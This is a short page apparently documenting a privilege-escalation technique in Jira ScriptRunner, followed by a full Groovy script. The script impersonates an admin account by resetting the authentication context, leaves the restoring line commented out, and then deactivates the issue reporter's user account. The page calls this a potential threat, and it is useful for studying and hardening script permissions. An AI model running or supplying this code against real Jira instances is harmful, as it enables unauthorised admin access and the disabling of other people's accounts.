

Elevation of Rights in Groovy

This sample disables a user - by setting the JIRA Context to a user with higher Level:



Also look at <https://docs.atlassian.com/software/jira/docs/api/7.6.1/com/atlassian/jira/bc/JiraServiceContext.html>



This is a potential threat, as its possible for anyone who can create and execute groovy scripts to elevate rights, just by knowing an admin username

```
import com.atlassian.crowd.embedded.api.User
import com.atlassian.crowd.embedded.impl.ImmutableUser
import com.atlassian.jira.bc.user.UserService
import com.atlassian.jira.component.ComponentAccessor
import com.atlassian.jira.user.util.UserManager
import com.onresolve.scriptrunner.runner.util.UserMessageUtil
import com.atlassian.crowd.embedded.api.UserWithAttributes
import com.atlassian.crowd.embedded.api.CrowdService
import com.atlassian.jira.user.ApplicationUsers

CrowdService crowdService = ComponentAccessor.crowdService
UserManager userManager = ComponentAccessor.getUserManager()
UserService userService = ComponentAccessor.getComponent(UserService.class)

String adminUsername = "automation"

def jiraAuthenticationContext = ComponentAccessor.jiraAuthenticationContext
def adminUser = ComponentAccessor.userManager.getUserByKey(adminUsername)
def originalUser = jiraAuthenticationContext.loggedInUser
try {
    //Switch User
    jiraAuthenticationContext.setLoggedInUser(adminUser)
}
finally {
    // jiraAuthenticationContext.setLoggedInUser(originalUser)
}

if (jiraAuthenticationContext.getLoggedInUser() == ComponentAccessor.userManager.getUserByKey(adminUsername))
{
    //Rights has been elevated, we can do the following code:
    UserService.UpdateUserValidationResult updateUserValidationResult
    UserWithAttributes user = crowdService.getUserWithAttributes(issue.getReporter().getName())
    updateUser = ApplicationUsers.from(ImmutableUser.newUser(user).active(false).toUser())
    updateUserValidationResult = userService.validateUpdateUser(updateUser)
    if (updateUserValidationResult.isValid())
    {
        userService.updateUser(updateUserValidationResult)
        UserMessageUtil.success("The Reporter has been disabled in the User Database")
    }
    else
    {
        UserMessageUtil.error("The Reporter could not be disabled in the User Database")
    }
}
else
{
    //Elevation of Rights failed
    UserMessageUtil.error("Elevation of rights failed. Contact Administrator")
}
```